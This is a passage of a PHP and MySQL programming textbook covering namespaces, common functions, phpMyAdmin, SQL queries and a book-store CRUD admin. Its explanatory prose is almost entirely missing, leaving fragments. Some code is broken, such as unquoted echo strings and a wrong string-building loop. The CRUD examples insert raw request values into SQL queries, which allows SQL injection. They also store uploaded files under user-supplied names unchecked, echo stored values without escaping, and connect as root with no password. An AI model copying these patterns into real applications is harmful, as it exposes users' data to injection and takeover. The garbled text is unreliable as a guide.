Dog Class Animal Class Inherit PHP Multiple


Inheritance Static Polymorphism Function
Overload PHP PHP Function
Function Signature ( Function)
func_num_args() func_get_arg() Function Static
Polymorphism -

function rectangle() {
$len = func_num_args();
if($len == 1) {
$width = func_get_arg(0);
return $width * $width;
}
if($len == 2) {
$width = func_get_arg(0);
$height = func_get_arg(1);
return $width * $height;
}
}

rectangle() Function Parameters


Function Overload Function
Function Signature Polymorphism
Dynamic Polymorphism Interface

Professional Web Developer - () PHP Basic 220

Interface interface Keyword Interface


Class implements Keyword

interface iInputBox
{
public function getValue();
public function setValue($value);
}

class TextBox implements iInputBox


{
private $value;
public function getValue() {
return $this->value;
}

public function setValue($value) {


$this->value = $value;
}
}

class PasswordBox implements iInputBox


{
private $value;
public function getValue() {
$len = strlen($this->value);
for($i=0; $i<$len; $i++) {
$result += "*";
}

return $result;
}

public function setValue($value) {


$this->value = $value;
}
}

TextBox PasswordBox Class iInputBox Interface



implements TextBox
PasswordBox Object Object Type Interface
Object

PHP OOP Features

http://php.net/manual/en/language.oop5.php
Professional Web Developer - () PHP Basic 221

6.21 - Namespace
PHP Namespace
Namespace Code PHP Function
Class Function Class PHP Core
Function Core Class Function
Third-party Library Function Class
Namespace PHP Function
-

# file1.php
namespace foo {
function add() {
echo add in foo namespace;
}
}

namespace bar {
function add() {
echo add in bar namespace;
}
}

# file2.php
include(file1.php);

foo\add(); # => add in foo namespace


bar\add(); # => add in bar namespace

add() Function Namespace


Namespace Core
Function Third-party Library Function

Namespace Code Global Space Global Space


Namespace Code Namespace
foo\add() bar\add()
Namespace -

# file1.php
namespace foo {
function add() {
echo add in foo namespace;
}
}
Professional Web Developer - () PHP Basic 222

# file2.php
include(file1.php);

namespace foo {
add(); # => add in foo namespace
}

file2.php add() Function


Namespace
Namespace

namespace foo;
function add() {
echo add in foo namespace;
}

function sub() {
echo sub in foo namespace;
}

namespace bar;
function add() {
echo add in bar namespace;
}

Namespace -

# file1.php
namespace foo\bar {
function add() {
echo add in foo\bar namespace;
}
}

namespace foo\buz {
function add() {
echo add in foo\buz namespace;
}
}

namespace foo {
bar\add(); # => add in foo\bar namespace
buz\add(); # => add in foo\buz namespace
}

# file2.php
include(file1.php);
Professional Web Developer - () PHP Basic 223

fiz\buz\add(); # => add in foo\buz namespace

foo Namespace Sub-Namespace bar buz add()


Function Sub-Namespace
Global Space Namespace Sub-Namespace
Namespace
-

# file1.php
namespace foo\bar;
function add() {
echo add in foo\bar namespace;
}

# file2.php
include(file1.php);

use foo\bar as fb;

fb\add(); # => add in foo\bar namespace

foo\bar Namespace use Keyword fb


fb\add() foo\bar\add()
Namespace -

1. namespace Keyword Code


2. namespace namespace Code
Code namespace Global Space Code
namespace

6.22 - Frequently Used Functions


MySQL Database
PHP Core Function
Function

php.net

explode() - Array

$date = "2013-05-10";
$arr = explode("-", $date); # => array("2013", "05", "10");
Professional Web Developer - () PHP Basic 224

$date Variable Dash ( - ) Array


implode() - Array

$months = array("Sep", "Apr", "Jun", "Nov");


$str = implode(", ", $months) # => "Sep, Apr, Jun, Nov"

$months Index Comma+Space (, )

-------------------------------------------------------------------------

exit() - Script
exit() die()

exit(Something wrong here);

-------------------------------------------------------------------------

file_exists() - Path File

echo file_exists("C:\xampp\htdocs\auth\index.php"); # => true

-------------------------------------------------------------------------

file_get_contents() - File Content

$str = file_get_contents("name.txt");

name.txt File $str Variable String

-------------------------------------------------------------------------

file() - file_get_contents() File Content


String Array
Professional Web Developer - () PHP Basic 225

$arr = file("name.txt");

file_put_contents() - File

file_put_contents("welcome.txt", "Hello, World!");

welcome.txt File
Hello, World!
welcome.txt File Overwrite

-------------------------------------------------------------------------

in_array() - Array

$arr = array("foo", "bar", "fiz");


$check = in_array("foo", $arr); # => true

-------------------------------------------------------------------------

is_array() - Variable Array

$arr = array("foo", "bar", "fiz");


$check = is_array($arr); # => true

-------------------------------------------------------------------------

is_dir() - Path Folder

echo is_dir("C:\xampp\htdocs\auth\index.php"); # => false

-------------------------------------------------------------------------

list() - Array Variable

$date = date("d-m-Y"); # => "12-05-2013"


$arr = explode("-", $date); # => array("12", "05", "2013");
list($day, $month, $year) = $arr; # => $day = 12, $month = 05, $year = 2013

-------------------------------------------------------------------------
Professional Web Developer - () PHP Basic 226

max() -
Array

echo max(2, 5, 8, 1); # => 8


$arr = array(21, 32, 43, 12);
echo max($arr); # => 43

-------------------------------------------------------------------------

min() - max()

-------------------------------------------------------------------------

pathinfo() - Path Array

$path = pathinfo('C:\xampp\htdocs\gallery\upload.php');
echo $path['dirname']; # => C:\xampp\htdocs\gallery
echo $path['basename']; # => upload.php
echo $path['extension']; # => php
echo $path['filename']; # => upload

-------------------------------------------------------------------------

phpinfo() - PHP Setting Extension


Configuration App PHP Setting

-------------------------------------------------------------------------

print_r() - Array

$arr = array("foo", "bar", "fiz");


echo $arr; # => Array
print_r($arr); # => Array ( [0] => foo [1] => bar [2] => fiz )

-------------------------------------------------------------------------

rand() - Random


rand(5, 15) 5 15 Random
Professional Web Developer - () PHP Basic 227

shell_exec() - Command Run shell_exec()


exec() shell_exec() Command
exec() Command Run Run

$str = shell_exec("dir");

$str Variable dir Command Directory List

-------------------------------------------------------------------------

sleep() - Script
-

echo date("h:i:s"); # => 12:34:20


sleep(10);
echo date("h:i:s:"); # => 12:34:30

-------------------------------------------------------------------------

sort() - Array

$arr = array("foo", "bar", "fiz", "baz");


sort($arr);
print_r($arr); # => Array([0] => bar, [1] => baz, [2] => fiz, [3] => foo)

-------------------------------------------------------------------------

rsort() - Array

-------------------------------------------------------------------------

array_values() - Array Value Array

-------------------------------------------------------------------------

array_keys() - Array Keys Array

-------------------------------------------------------------------------
Professional Web Developer - () PHP Basic 228

str_replace() -

$str = "Hello Yangon, beautiful Yangon!";


echo str_replace("Yangon", "Bagan", $str);

# => Hello Bagan, beautiful Bagan!

str_replace() Function Parameter Parameter


Parameter
$str Yangon Bagan

-------------------------------------------------------------------------

strlen() -

echo strlen("Hello, World!"); # => 13

-------------------------------------------------------------------------

substr() -

echo substr('abcdef', 2, 3); # => cde

2 3 cde
0

-------------------------------------------------------------------------

trim() - Space

echo trim(" Hello "); # => Hello

-------------------------------------------------------------------------

ucwords() - Word

Professional Web Developer - () PHP Basic 229

echo ucwords("hello world"); # => Hello World

Database Function JSON Function


Function

6.23 - $_SERVER Superglobal


$_GET, $_POST, $_REQUEST, $_COOKIE, $_SESSION $_FILES
Superglobal
Superglobal
$_SERVER Superglobal $_SERVER Superglobal
PHP Script Web Server
Request / Response $_SERVER Superglobal
Superglobal Array

print_r($_SERVER);

Array(
[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => Mozilla/5.0
[HTTP_ACCEPT_ENCODING] => gzip, deflate
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[PATH] => /sbin:/usr/sbin:/bin:/usr/bin
[SERVER_SOFTWARE] => Apache/2.2.14 (Unix)
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 80
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /opt/lampp/htdocs
[SCRIPT_FILENAME] => /opt/lampp/htdocs/server/index.php
[REMOTE_PORT] => 32769
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /server/
[SCRIPT_NAME] => /server/index.php
[PHP_SELF] => /server/index.php
[REQUEST_TIME] => 1365787419
);

Request Client User Agent, IP Address, Request Method, Request URI, Query String
Server IP Address, Port, Domain Name,
Script Variable
PHP MySQL
Fairway Tech School
Web, Mobile Design

- ()

www.fairway.com.mm
Professional Web Developer - () PHP and MySQL 231

() PHP and MySQL


Database Project

MySQL Relational Database Management System (RDBMS)


Open Source MySQL-AB

Sun Microsystem MySQL
Sun Microsystem
Sun Microsystem Oracle MySQL Oracle

MySQL Duel License Open Source Duel


License MySQL Open Source
Source Code Open Source
Source Code Version Open Source
MySQL Source Code


Improvement Open Source MySQL Commercial License
Commercial License Open
Source Duel License Product

Open Source Commercial
License MySQL
WordPress, Wikipedia Open Source Software Database
Google, Facebook, Flickr, Twitter

PHP ASP.NET, Java Oracle, Microsoft SQL Server


RDMS Oracle
Sun Oracle MySQL
Professional Web Developer - () PHP and MySQL 232

Developer MySQL
Oracle MySQL

MySQL Developer
Oracle Sun
MySQL MySQL-AB
MySQL
Monty Widenius MySQL 5.1 Source Code MariaDB MySQL
MySQL MariaDB
Wikipedia Google Craiglist
MariaDB RedHat Linux, SuSE Linux Linux
MySQL MariaDB Default XAMPP
Package MySQL MariaDB
XAMPP 7.0.9 MySQL MariaDB
MySQL

MariaDB

MariaDB MySQL
Source
MySQL
Code Project MariaDB

Code MySQL
MariaDB Code MySQL

7.1 - MySQL Database Administration Tools


MySQL Client-Server MySQL Database Server
Database User
User Access Right
Database Data Model Table
Structure MySQL Server
Command Line Tool XAMPP Install
MySQL MySQL CLI Tool

XAMPP Control Panel MySQL Start


Server XAMPP Windows
Install MySQL CLI Tool C:\xampp\mysql\bin Folder
Professional Web Developer - () PHP and MySQL 233

Command Prompt MySQL Server

C:\xampp\mysql\bin\mysql -u root

C:\xampp\mysql\bin Folder mysql Program Run -u


Flag Database Access User root User Name
root XAMPP Install Default User
mysql> MySQL Console
MySQL Console Query Command
USE cdcol; Enter

mysql> USE cdcol;

cdcol XAMPP Install MySQL Database


USE Keyword Database

SELECT * FROM cds;

mysql> SELECT * FROM cds;

+-----------------------------------+------------------+------+----+
| titel | interpret | jahr | id |
+-----------------------------------+------------------+------+----+
| Beauty | Ryuichi Sakamoto | 1990 | 1 |
| Goodbye Country (Hello Nightclub) | Groove Armada | 2001 | 4 |
| Glee | Bran Van 3000 | 1997 | 5 |
+-----------------------------------+------------------+------+----+
3 rows in set (0.02 sec)

cds cdcol Database Table


SELECT Query cds Table

Database User Table Structure


Command
Graphical
User Interface Admin Tools MySQL Official Admin
Tool MySQL Workbench XAMPP Install MySQL Workbench
Download
- http://www.mysql.com/downloads/workbench
Professional Web Developer - () PHP and MySQL 234

(-) MySQL Workbench

Navicat, SQLYog, dbForge Studio, phpMyAdmin,


Toad, SQL Buddy, Adminer

phpMyAdmin phpMyAdmin MySQL Workbench,


Navicat, SQLYog Database IDE Tool
PHP Web Browser Web Based Tool
phpMyAdmin Web App Database User
Table Structure Tool
Web Hosting phpMyAdmin Default MySQL Admin Tool
App

Professional Web Developer - () PHP and MySQL 235

7.2 - phpMyAdmin
phpMyAdmin Web Browser URL Bar http://localhost/
XAMPP Dashboard XAMPP Control Panel Apache MySQL Run
XAMPP Dashboard Menu Bar phpMyAdmin
URL http://localhost/phpmyadmin/ (-)
phpMyAdmin Interface XAMPP Dashboard
URL

(-) phpMyAdmin

phpMyAdmin Interface MySQL Database Server Database


Dashboard Interface Location Server
Icon localhost MySQL Server Host Name Database
Table Location Location Bar Databases,
SQL, Status, Users Options Main Menu

App Online Book Store



Store Database Table
phpMyAdmin Main Menu
Databases Database Database Create database
Form
Professional Web Developer - () PHP and MySQL 236

(-) phpMyAdmin - Databases

Create database Box store Create Button store


Database Database
store Database Database store
Database

Database Collation Option


Database Default Option
utf8_unicode_ci Collation Option

Character Sorting Database

(-) phpMyAdmin - store Database

Location Bar Host Name store Database Name


Database Main Menu
Operations Drop the Database (DROP) Option
Professional Web Developer - () PHP and MySQL 237

store Database categories


Table
(-) Create table Form
Name Field categories Number of columns Field 5
Go Button (-)
Table Wizard

(-) phpMyAdmin - Table Wizard

(-)
Number of columns 5 Column
() Input ()
() Column Name


(-) () id, name, remark, crated_date,
modified_date Column Name id,
created_date modified_date Column Table Column
id Column Unique ID
Unique ID
created_date Table
modified_date
created_date modified_date
App


(name) (remark) id, created_date, modified_date
Column ()

Professional Web Developer - () PHP and MySQL 238

Database Name, Table Name Column Name


Space Underscore MySQL
Space

Error



() Column Type Select Box MySQL


Data Type Data Type () phpMyAdmin
()
INT VARCHAR,
TEXT DATE id Column INT
name Column VARCHAR remark Column
TEXT created_date modified_date DATETIME
Column Type created_date modified_date
DATETIME Column Type

() Length INT, DATE, TEXT


DATETIME Length VARCHAR
VARCHAR Length 1 255
Column Length VARCHAR Column Type name Column
255 Length

() Column Index Method (


)
Index Method PRIMARY, UNIQUE, INDEX FULLTEXT
Index

MySQL Index
Index

Index Method PRIMARY, UNIQUE INDEX


PRIMARY Index PRIMARY Table PRIMARY
Index Column
PRIMARY Index Column
Table

-
Professional Web Developer - () PHP and MySQL 239

UNIQUE PRIMARY
Column Table UNIQUE Index
Column INDEX UNIQUE Column

FULLTEXT Method Search Engine Stop
Words Noise Worlds Rank
Index Method (-) id Column
PRIMARY
Column Index

() Auto Increment (AI) Auto Increment


Column
MySQL 1, 2, 3, 4
Auto Increment
id Column
Database

Table
PRIMARY Auto Increment

id Column id Column Key
Unique
Key ID

()
Storage Engine Storage Engine
(Create), (Read), (Update), (Delete)
MySQL Create, Read, Update, Delete
CRUD CRUD
Create, Read, Update, Delete

MySQL Storage Engine Engine


Engine Engine -

MyISAM
InnoDB
Archive
Memory
CSV
NDB

-
Professional Web Developer - () PHP and MySQL 240

MyISAM
MyISAM MySQL 5.5 Version Default Storage Engine
Engine Default Engine Table
Storage Engine
MyISAM
Engine
(Table ) 256TB FULLTEXT Index Support Storage Engine Table
Index Compress FULLTEXT Support
Project Search
Ranking MySQL

Performance MyISAM
Storage Engine

InnoDB
InnoDB MySQL 5.5 Default Storage Engine Engine
ACID Compliance Transaction Support Storage Engine ACID
Atomicity, Consistency, Isolation Durability
Data Integrity Test InnoDB ACID Test
Engine

(Table File ) 64TB MyISAM


Speed Engine Performance
FULLTEXT Index
MyISAM Engine Version InnoDB
FULLTEXT

Row Level Locking, Non-locking Read Multi-version Support Storage Engine


Foreign Key, Rollback, Roll-forward
InnoDB
MySQL Storage Engine Feature Engine

Archive
Archive Storage Engine Data
Engine Compress
Decompress Data
Data
Professional Web Developer - () PHP and MySQL 241


Index Compression
MyISAM -
Website Satistic
Usage Log Error Log

Memory
Memory Storage Engine Hard Disk Memory
Engine Memory MyISAM %
Database Server Run
Server Crash

Disk Memory App Performance Optimize

CSV
Comma Separated Value CSV File Data Comma ( , )
Text File Microsoft Excel Spreadsheet Software
CSV Storage Engine Database Table CSV File
Engine SQL Query
Index

NDB
Network Database NDB Resource
Mainframe Cluster Environment
Storage Engine NDB (Table File ) 384EB
Storage Engine EB, Exabyte
() Table Column
()

Storage Engine MyISAM


InnoDB Storage Engine Table
Database Storage Engine Table
Table MyISAM
Integrity Table
InnoDB
Professional Web Developer - () PHP and MySQL 242

Relational Database Foreign Key, Table


Relationships, Transaction, Rollback, Locking, Concurrency, Non-Locking Read

Database

(-) Storage Engine InnoDB


Table Default
InnoDB Table

Save Button phpMyAdmin categories
Table

store Database Database


store Database Table
categories Table categories Table
categories Table (-)

(-) phpMyAdmin - categories Table

categories Table Main Menu Operations Delete the table


(DROP) Option Table Structure
Column Change Column
Add Form Column Go Button

categories Table Main Menu Insert


(-) Form
Professional Web Developer - () PHP and MySQL 243

(-) phpMyAdmin - Insert

Form Form
Form

(-) id Column id Auto Increment


MySQL phpMyAdmin

name
Column remark Column
created_date modified_date Column Value
Function Select Box NOW Function
Select Box MySQL Function NOW Function
Function crated_date modified_date
Go Button

Record
Table SQL Command Record
categories Table Record

Main Menu Insert Sciences, Religion,
Fiction, Mythology, Language, Technology, Magazine Record

Main Menu Browse (-) Record



Professional Web Developer - () PHP and MySQL 244

(-) phpMyAdmin - Browse Records

Record Record Delete


Record Edit

phpMyAdmin Database Table Record


PHP MySQL Database Server

MySQL Structure Data Database Table


Structure PHP Structure
Structure
PHP Code
PHP Record PHP
Table CRUD (Create, Read, Update, Delete)

7.3 - SQL Queries


SQL Query Command Structure Query Language
SQL RDBMS Language
SQL
Data Definition Language Data Manipulation Language
Data Manipulation
Professional Web Developer - () PHP and MySQL 245

Record INSERT Query


INSERT INTO categories( name, created_date, modified_date )


VALUES ( 'Comic', now(), now() );

Query
Keyword Record INSERT INTO Key-
word Table Column

Table Column Tide Key ( ` )
( - `categories`)
Table
Column Space
Table Column Space Tide Key

categories Record Table


Table Column categories Table Column () ()
name, created_date, modified_date () id Auto
Increment
remark

VALUES Keyword
Column ()
()
Double Quote Single Quote
'Comic' Single
Quote MySQL now() Function

now() Function
Function
now() Function MySQL DATETIME
Format Query Semi-colon

Query phpMyAdmin Main Menu SQL


Box (-)
INSERT Query Go Button
Query Main Menu Browse
Record

Professional Web Developer - () PHP and MySQL 246

(-) phpMyAdmin - SQL

SELECT Query

SELECT id, name, remark FROM categories


ORDER BY name DESC
LIMIT 5;

SELECT Keyword Column Column


Asterisk ( * ) Column
FROM Keyword Table categories Table id,
name, remark Column

ORDER BY Keyword
Sort Column Sort Column
( - ORDER BY name, created_date)
Column Column
ORDER BY Column
DESC Keyword

SELECT Query LIMIT Record


LIMIT 5 ()
LIMIT
LIMIT 2, 5
() 2 5
phpMyAdmin SQL Box
Professional Web Developer - () PHP and MySQL 247

Query

Query Semi-colon
Query
Query

Record UPDATE Query -

UPDATE categories SET name='Computer', modified_date=now()


WHERE name='Technology';

UPDATE Keyword Table SET Keyword



Column
name Column 'Computer'
modified_date Column
Query
Query
categories Table Record name
modified_date Column Record WHERE
Keyword WHERE name= 'Technology'
name Column Technology Record
name Column Technology Record
PRIMARY
Column

PRIMARY ID
-

UPDATE categories SET name='Computer', modified_date=now()


WHERE id=2;

id 2 Record id PRIMARY
2 Record

Record DELETE Query -

DELETE FROM categories WHERE id=2;

DELETE FROM Keyword Table DELETE FROM categories


categories Table Record
Record WHERE Keyword WHERE id=2
id Column 2 Record
Professional Web Developer - () PHP and MySQL 248

7.4 - PHP and MySQL


PHP
categories Table Create, Read, Update, Delete
Form htdocs Folder
Folder File

store/
|-- admin/
| |-- confs/
| | |-- config.php
| |-- cat-list.php
| |-- cat-new.php
| |-- cat-add.php
| |-- cat-edit.php
| |-- cat-update.php
| |-- cat-del.php
| |-- index.php
|-- index.php

store Folder index.php File admin Folder


admin Folder cat-list.php, cat-new.php, cat-add.php,
cat- edit.php, cat-update.php, cat-del.php, index.php File
confs Folder confs Folder config.php
File

config.php

<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "";
$dbname = "store";

$conn = mysqli_connect($dbhost, $dbuser, $dbpass);


mysqli_select_db($conn, $dbname);
?>

Variable
$dbhost Variable Database Server
localhost $dbuser Variable Database User
Name root
$dbpass Variable Database Password
root User Password
Quote
$dbname Variable Database

store

mysqli_connect() Function Database Server


Professional Web Developer - () PHP and MySQL 249

Host Name, User Name Password


$dbhost, $dbuser $dbpass Variable
mysqli_connect() Function Resource ID $conn Variable
PHP External Resource
Resource ID
mysqli_connect() Function Resource ID
ID $conn Variable ID

mysqli_select_db() Function Database


Connection Resource ID Database $conn
$dbname

Database Server Database


Database

Statement config.php

Database
config.php Include Server Database

cat-new.php categories Table


Form HTML Structure
<body> Form

<h1>New Category</h1>

<form action="cat-add.php" method="post">


<label for="name">Category Name</label>
<input type="text" name="name" id="name">

<label for="remark">Remark</label>
<textarea name="remark" id="remark"></textarea>

<br><br>
<input type="submit" value="Add Category">
</form>

CSS <style>
Professional Web Developer - () PHP and MySQL 250

form label {
display: block;
margin-top: 8px;
}

Form action cat-add.php Form


Submit name remark cat-add.php
cat-add.php categories Table
Code HTML PHP Code

<?php
include("confs/config.php");
$name = $_POST['name'];
$remark = $_POST['remark'];
$sql = "INSERT INTO categories (name, remark, created_date,
modified_date) VALUES ('$name', '$remark', now(), now())";

mysqli_query($conn, $sql);

header("location: cat-list.php");
?>

confs Folder config.php Include Database Server


store Database Connection
Resource ID $conn Variable Request
$name, $remark Variable

INSERT Query $sql Variable


Table categories Table VALUES
$name $remark
mysqli_query() Function
INSERT Query mysqli_query() Parameter
Database Connection SQL
Query $conn Parameter $sql Parameter

Table PHP
mysqli_query() Function SQL Query Database Server
INSERT Query Request
categories Table Record

Professional Web Developer - () PHP and MySQL 251

Query cat-list.php Redirect


cat-list.php categories Table Record
HTML
Code <body> -

<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysqli_query($conn, "SELECT * FROM categories");
?>
<ul>
<?php while($row = mysqli_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>

<a href="cat-new.php" class="new">New Category</a>

Database
config.php Include
mysqli_query() Function SELECT Query
mysqli_query() $result Variable
$result Variable SELECT Query Resource ID
Resource ID mysqli_fetch_assoc() Function

mysqli_fetch_assoc() Function
Resource Record
Associative Array Column Name
Array Index Record Array Value
Resource Record () mysqli_fetch_assoc() Function ()
Record
Loop
while Loop True
mysqli_fetch_assoc() Function
Record
Associative Array True
while Loop Record

Record mysqli_fetch_assoc() False


False Loop

Professional Web Developer - () PHP and MySQL 252

mysqli_fetch_assoc() Function mysqli_fetch_row() mysqli_fetch_array()


mysqli_fetch_row() Record Numeric Array
mysqli_fetch_array() Record Numeric Array Associative Array

mysqli_fetch_row() Array Index
Column Table Column
Column Column
mysqli_fetch_array() Record Array
mysqli_fetch_assoc()

Loop while endwhile <li> Element


Loop $row Variable mysqli_fetch_assoc() Record
Associate Array name Column
$row["name"] Element Content
title Attribute
Value $row["remark"] Index categories
Table name <li> Element <li> Mouse
remark Tooltip Browser URL Bar
http://localhost/store/admin/cat-list.php (-)

(-) Category List

cat-new.php New Category Link


cat-
new.php cat-add.php Code
Category

Record Delete
Category cat-list.php Code

Professional Web Developer - () PHP and MySQL 253

<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysqli_query($conn, "SELECT * FROM categories");
?>
<ul>
<?php while($row = mysqli_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>

<a href="cat-new.php" class="new">New Category</a>

Category cat-del.php Link


cat-del.php Record id URL Query
cat-del.php URL Query
id id Record

<?php
include("confs/config.php");

$id = $_GET['id'];
$sql = "DELETE FROM categories WHERE id = $id";
mysqli_query($conn, $sql);

header("location: cat-list.php");
?>

id WHERE Keyword DELETE Query


Record cat-list.php Redirect
http://localhost/store/admin/cat-list.php (-)
Category del Link
Professional Web Developer - () PHP and MySQL 254

(-) Category List with Delete Link

del Category

Category Edit cat-list.php

<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysqli_query($conn, "SELECT * FROM categories");
?>

<ul>
<?php while($row = mysqli_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>

<a href="cat-new.php" class="new">New Category</a>

del Link cat-edit.php edit Link


id Query String
cat-edit.php Edit Form HTML
<body> Code
Professional Web Developer - () PHP and MySQL 255

<h1>Edit Category</h1>

<?php
include("confs/config.php");

$id = $_GET['id'];
$result = mysqli_query($conn, "SELECT * FROM categories WHERE id = $id");
$row = mysqli_fetch_assoc($result);
?>

<form action="cat-update.php" method="post">


<input type="hidden" name="id" value="<?php echo $row['id'] ?>">

<label for="name">Category Name</label>


<input type="text" name="name" id="name"
value="<?php echo $row['name'] ?>">

<label for="remark">Remark</label>
<textarea name="remark"
id="remark"><?php echo $row['remark'] ?></textarea>

<br><br>
<input type="submit" value="Update Category">
</form>

CSS <style>

form label {
display: block;
margin-top: 8px;
}

Edit Form New Form Form


Record Form Input
Form Database URL Query String id
SELECT Query Category List Page
mysqli_fetch_assoc() Function Loop Record Edit From
SELECT Query id WHERE Keyword
Record categories Table id PRIMARY
id Record Loop
mysqli_fetch_assoc() Function $row Variable
Associative Array

HTML Form Form Input Value Database



id Hidden Input
Professional Web Developer - () PHP and MySQL 256

Form Submit name,


remark
id Hidden Input
categories Table Update
Update Record id
Form action cat-update.php cat-
update.php categories Table Update

<?php
include("confs/config.php");

$id = $_POST['id'];
$name = $_POST['name'];
$remark = $_POST['remark'];

$sql = "UPDATE categories SET name='$name', remark='$remark',


modified_date=now() WHERE id = $id";
mysqli_query($conn, $sql);

header("location: cat-list.php");
?>

Form id, name remark UPDATE Query


Update cat-list.php Redirect
http://localhost/store/admin/cat-list.php (-)
Category del edit Link Category edit

(-) Category List with Complete CRUD

categories Table Record


CRUD

Professional Web Developer - () PHP and MySQL 257

Online Book Store

Online Book Store Store


Admin Interface
Shopping Cart Interface

Shopping Interface store Folder Admin Interface


store Folder admin Folder Category
CRUD admin Folder

7.5 - Online Book Store - Admin Interface


Admin Interface Table
Table books, orders, order_items (-)

(-) Table Relationship for Online Book Store

books Table
Professional Web Developer - () PHP and MySQL 258

books Table
id - INT - Auto Increment / Primary Key
title - VARCHAR (255)
author - VARCHAR (255)
summary - TEXT
price - FLOAT
category_id - INT
cover - VARCHAR (255)
created_date - DATETIME
modified_date - DATETIME

books Table Table


category_id Column Column
id books
Table categories Table

- categories Table Record -

+----+--------------+--------+--------------+---------------+
| id | name | remark | created_date | modified_date |
+----+--------------+--------+--------------+---------------+
| 1 | Technology | | | |
| 2 | Internet | | | |
| 3 | Programming | | | |
+----+--------------+--------+--------------+---------------+

Record books Table Internet


category_id Column 2 2

id
categories Table Internet

categories Table books Table id
(-) categories Table id
Column books Table category_id Column
One-To-Many Relationship Internet Category

books Table cover Column cover Column


Database File

Professional Web Developer - () PHP and MySQL 259

Table (-) Interface phpMyAdmin Main Menu


Design View

orders Table

orders Table
id - INT - Auto Increment / Primary Key
name - VARCHAR (255)
email - VARCHAR (255)
phone - VARCHAR (255)
address - TEXT
status - INT (1)
created_date - DATETIME
modified_date - DATETIME

order Table Table


Table order_items Table

order_items Table
id - INT - Auto Increment / Primary Key
book_id - INT
order_id - INT
qty - INT

order_items Table orders Table





Table (-)
order_ items Table book_id Column books Table id Column
order_id Column orders Table id Column
created_date modified_date order_items Table
orders Table

Table CRUD Interface


store Folder File Folder
Professional Web Developer - () PHP and MySQL 260

store/
|-- admin/
| |-- confs/
| | |-- config.php
| |-- covers/ *
| |-- cat-list.php
| |-- cat-new.php
| |-- cat-add.php
| |-- cat-edit.php
| |-- cat-update.php
| |-- cat-del.php
| |-- index.php
| |-- book-list.php *
| |-- book-new.php *
| |-- book-add.php *
| |-- book-edit.php *
| |-- book-update.php *
| |-- book-del.php *
|-- index.php

File Folder Star



File Folder Star covers Folder
File books Table CRUD
File categories Table Code

book-new.php HTML <body>


Form Form

Upload
<form> Element enctype Attribute

Category Select Box
Select Box <option> categories Table
Category id <option> value Category name
Content

Select Box

<h1>New Book</h1>
<form action="book-add.php" method="post" enctype="multipart/form-data">
<label for="title">Book Title</label>
<input type="text" name="title" id="title">

<label for="author">Author</label>
<input type="text" name="author" id="author">

<label for="summary">Summary</label>
<textarea name="summary" id="summary"></textarea>
Professional Web Developer - () PHP and MySQL 261

<label for="price">Price</label>
<input type="text" name="price" id="price">

<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>

<?php
include("confs/config.php");
$result = mysqli_query($conn, "SELECT id, name FROM categories");
while($row = mysqli_fetch_assoc($result)):
?>
<option value="<?php echo $row['id'] ?>">
<?php echo $row['name'] ?>
</option>
<?php endwhile; ?>
</select>

<label for="cover">Cover</label>
<input type="file" name="cover" id="cover">

<br><br>
<input type="submit" value="Add Book">
<a href="book-list.php" class="back">Back</a>
</form>

CSS <style>

form label {
display: block;
margin-top: 8px;
}

Form action book-add.php book-add.php books Table Record


Code Form
Image File File Upload
File covers Folder
move_uploaded_file() books Table cover Column
File
book-list.php Redirect
Professional Web Developer - () PHP and MySQL 262

<?php
include("confs/config.php");

$title = $_POST['title'];
$author = $_POST['author'];
$summary = $_POST['summary'];
$price = $_POST['price'];
$category_id = $_POST['category_id'];
$cover = $_FILES['cover']['name'];
$tmp = $_FILES['cover']['tmp_name'];

if($cover) {
move_uploaded_file($tmp, "covers/$cover");
}

$sql = "INSERT INTO books (


title, author, summary, price, category_id,
cover, created_date, modified_date
) VALUES (
'$title', '$author', '$summary', '$price',
'$category_id', '$cover', now(), now()
)";

mysqli_query($conn, $sql);

header("location: book-list.php");
?>

book-list.php HTML
<body> Code

SELECT Query books Table


Category Category ID
ID ID
Category categories Table
books Table books
Table category_id Category categories Table

books Table categories Table
SELECT Query
Professional Web Developer - () PHP and MySQL 263

<h1>Book List</h1>
<?php
include("confs/config.php");

$result = mysqli_query($conn, "


SELECT books.*, categories.name
FROM books LEFT JOIN categories
ON books.category_id = categories.id
ORDER BY books.created_date DESC
");
?>
<ul class="books">

<?php while($row = mysqli_fetch_assoc($result)): ?>


<li>
<img src="covers/<?php echo $row['cover'] ?>"
alt="" align="right" height="140">

<b><?php echo $row['title'] ?></b>


<i>by <?php echo $row['author'] ?></i>
<small>(in <?php echo $row['name'] ?>)</small>
<span>$<?php echo $row['price'] ?></span>
<div><?php echo $row['summary'] ?></div>

[<a href="book-del.php?id=<?php echo $row['id'] ?>" class="del">del</a>]


[<a href="book-edit.php?id=<?php echo $row['id'] ?>">edit</a>]
</li>
<?php endwhile; ?>

</ul>

<a href="book-new.php" class="new">New Book</a>

SELECT Query

SELECT books.*, categories.name - books Table Column categories Table


name Column

FROM books LEFT JOIN categories - books Table categories Table Table

ON books.category_id = categories.id - books Table category_id Column


categories Table id Column Record name Column

books Table Column


Record category_id Category Table
-
Professional Web Developer - () PHP and MySQL 264

+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| id | title | author | summary | price | category_id | | modified_date |+| name |
